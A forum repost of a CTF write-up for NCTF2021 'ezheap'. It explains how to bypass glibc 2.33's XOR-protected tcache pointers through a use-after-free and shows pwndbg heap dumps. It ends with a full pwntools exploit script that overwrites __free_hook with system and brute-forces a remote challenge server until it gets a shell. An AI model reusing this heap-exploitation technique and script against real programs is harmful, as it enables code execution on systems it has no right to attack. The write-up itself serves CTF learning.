安全矩阵

 找回密码
 立即注册
搜索
查看: 2524|回复: 0

一篇文章弄懂暴力拆解safe-unlink

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-1 16:32:12 | 显示全部楼层 |阅读模式
原文链接:一篇文章弄懂暴力拆解safe-unlink

前言今天(2021.11.28)NCTF的题目让我大开眼界,上来最低利用版本都是2.31,新生都如此生猛了吗,由于我比较菜只搞定了这个ezheap,2.33版本的题目我也是第一次做,花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑,算是收获满满吧
由于这个2.33的利用我在网上并没有看见有文章发布,我就写一下供各位pwn学习参考。
前置知识UAF,异或加密,hook利用
版本新增保护介绍2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。
对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。
举例利用例题:NCTF2021 ezheap漏洞分析如下存在UAF漏洞,对于heap的size位置零,但是指针未置零,可以造成堆复用
tips:可以利用glibc-all-in-one配合patchelf来建立题目的运行环境
命令如下

patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap
再说点骚操作,题目一般只给libc没有ld,可以直接把all in one的libc替换成题目给的,然后再去patchelf就可以使用上题目的libc了

低于2.33常规思路攻击通常的思路就是先free一次但是heaparry指针保留,再申请回来就有一个新的指针指向同一个地址,直接uaf任意地址申请,attack free hook 梭哈getshell
2.33绕过方法First 堆地址的泄露
首先申请两个chunk,然后直接free掉,此时这两个堆的fd位置的内容如下
  1. 0x5569374d8290: 0x0000000000000000 0x0000000000000091
  2. 0x5569374d82a0: 0x00000005569374d8 0x00005569374d8010
  3. 0x5569374d82b0: 0x0000000000000000 0x0000000000000000
  4. 0x5569374d82c0: 0x0000000000000000 0x0000000000000000
  5. 0x5569374d82d0: 0x0000000000000000 0x0000000000000000
  6. 0x5569374d82e0: 0x0000000000000000 0x0000000000000000
  7. 0x5569374d82f0: 0x0000000000000000 0x0000000000000000
  8. 0x5569374d8300: 0x0000000000000000 0x0000000000000000
  9. 0x5569374d8310: 0x0000000000000000 0x0000000000000000
  10. 0x5569374d8320: 0x0000000000000000 0x0000000000000091
  11. 0x5569374d8330: 0x0000556c61def678 0x00005569374d8010
复制代码

由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后进行异或操作我们可以得到 heap:0x5569374d82a0也就是此时chunk0的content addr,这个地址我们先记录下来
(由于我脚本是分多次启动打断点调试,数据不是同一批,具体可以自己去用脚本去调试)
Second 获取某个堆块的对应的异或key值
我们继续进行,假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin,目前的heap如下
  1. pwndbg> heap
  2. Allocated chunk | PREV_INUSE
  3. Addr: 0x5650e8eb5000
  4. Size: 0x291

  5. Allocated chunk | PREV_INUSE
  6. Addr: 0x5650e8eb5290
  7. Size: 0x91

  8. Allocated chunk | PREV_INUSE
  9. Addr: 0x5650e8eb5320
  10. Size: 0x91

  11. Allocated chunk | PREV_INUSE
  12. Addr: 0x5650e8eb53b0
  13. Size: 0x91

  14. Allocated chunk | PREV_INUSE
  15. Addr: 0x5650e8eb5440
  16. Size: 0x91

  17. Allocated chunk | PREV_INUSE
  18. Addr: 0x5650e8eb54d0
  19. Size: 0x91

  20. Allocated chunk | PREV_INUSE
  21. Addr: 0x5650e8eb5560
  22. Size: 0x91

  23. Free chunk (tcache) | PREV_INUSE
  24. Addr: 0x5650e8eb55f0
  25. Size: 0x91
  26. fd: 0x56558de5dbc5

  27. Free chunk (unsortedbin) | PREV_INUSE
  28. Addr: 0x5650e8eb5680
  29. Size: 0x91
  30. fd: 0x7f95da868c00
  31. bk: 0x7f95da868c00

  32. Allocated chunk
  33. Addr: 0x5650e8eb5710
  34. Size: 0x90

  35. Top chunk | PREV_INUSE
  36. Addr: 0x5650e8eb57a0
  37. Size: 0x20861

复制代码


bin状态如下
  1. pwndbg> bin
  2. tcachebins
  3. 0x90 [  7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5
  4. fastbins
  5. 0x20: 0x0
  6. 0x30: 0x0
  7. 0x40: 0x0
  8. 0x50: 0x0
  9. 0x60: 0x0
  10. 0x70: 0x0
  11. 0x80: 0x0
  12. unsortedbin
  13. all: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680
  14. smallbins
  15. empty
  16. largebins
  17. empty
复制代码

此时用第一步方法得到的堆地址是  0x5650e8eb52a0然后为了形成堆复用,我们会再去add一个0x90的chunk,此时的heaparry如下
  1. pwndbg> x/32gx 0x40a0+0x5650e8348000
  2. 0x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb5330
  3. 0x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb5450
  4. 0x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb5570
  5. 0x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb5690
  6. 0x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600
复制代码

接着我们可以看下当前的bin情况如下
  1. pwndbg> bin
  2. tcachebins
  3. 0x90 [  6]: 0x5650e8eb5570 ◂— 0x56558de5da55
复制代码


我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570
我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25
上面我也提到了这个key是变化的,因此我们还要爆破下,但是爆破是可以找到范围的,我们可以利用常规的错误打法
先看看泄露的key和需要的key的一个偏移(很好玩的是这个偏移也是随机的)
我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54
我们看看错误的bin如下
  1. pwndbg> bin
  2. tcachebins
  3. 0x90 [  6]: 0x7f8b1b63e5e4
复制代码


正确的free hook地址:0x7f8e7a497e20
libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4
hex(0x5612a9bc4-0x5612a9a54)=0x170
我试了很多次的调试,libc_key有0x170,-0x170,0x190,-0x190当然实际情况实际调试,只要调试出来的值就是有可能的偏移
最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell

exp
  1. from pwn import *
  2. r=process('./ezheap')
  3. #r=remote('129.211.173.64',10002)
  4. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
  5. libc=ELF('libc-2.33.so')
  6. #context.log_level='debug'
  7. def add(size,con):
  8. r.sendlineafter(">> ",'1')
  9. r.sendlineafter("Size: ",str(size))
  10. r.sendlineafter("Content: ",con)

  11. def edit(idx,con):
  12. r.sendlineafter(">> ",'2')
  13. r.sendlineafter("Index: ",str(idx))
  14. r.sendafter("Content: ",con)

  15. def show(idx):
  16. r.sendlineafter(">> ",'4')
  17. r.sendlineafter("Index: ",str(idx))

  18. def dele(idx):
  19. r.sendlineafter(">> ",'3')
  20. r.sendlineafter("Index: ",str(idx))
  21. flag=1
  22. while flag:
  23. #r=process('./ezheap')
  24. r=remote('129.211.173.64',10002)
  25. for i in range(9):
  26. add(128,'1')
  27. dele(0)
  28. show(0)
  29. he0=u64(r.recv(6)+b'\x00'*2)
  30. print(hex(he0))
  31. dele(1)
  32. show(1)
  33. he1=u64(r.recv(6)+b'\x00'*2)
  34. print(hex(he1))
  35. heap=he0^he1
  36. print("heap:"+hex(heap))
  37. #gdb.attach(r)
  38. for i in range(2,8):
  39. dele(i)
  40. show(5)
  41. he=u64(r.recv(6)+b'\x00'*2)
  42. print(hex(he))
  43. show(6)
  44. he6=u64(r.recv(6)+b'\x00'*2)
  45. print(hex(he6))
  46. show(7)
  47. base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00
  48. print(hex(base))
  49. #gdb.attach(r)
  50. free_hook=base+libc.sym["__free_hook"]
  51. print(hex(free_hook))
  52. sys=base+libc.sym['system']
  53. add(128,'')
  54. tagerheap=heap+0x2d0
  55. print("target heap:"+hex(tagerheap))
  56. tagerheap_key=tagerheap^he
  57. print("target heap_key:"+hex(tagerheap_key))
  58. libc_key=tagerheap_key+0x170
  59. print("target libc_key:"+hex(libc_key))
  60. #gdb.attach(r)
  61. dele(6)
  62. edit(9,p64(free_hook^libc_key)+b'\n')
  63. add(128,'/bin/sh\x00')
  64. add(128,'1')
  65. edit(11,p64(sys)+b'\n')
  66. #gdb.attach(r)
  67. dele(6)
  68. r.sendline("ls")
  69. a=r.recv()
  70. if b'bin' in a:
  71. r.interactive()
  72. print(a)
  73. flag=0
  74. else:
  75. r.close()
复制代码

题目附件下载链接关注“合天网安实验室”公众号回复:题目
推荐实验:CTF-PWN练习之执行Shellcode
PC端实操地址:http://mrw.so/6mbNfj
在缓冲区溢出攻击中,改写函数返回地址只是为了通过接管EIP寄存器来控制程序的执行流程,最终还需要执行我们的Shellcode来达到我们想要的目的,本实验将详细讲解在缓冲区溢出攻击中执行Shellcode的具体过程。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-8 12:20 , Processed in 0.016881 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表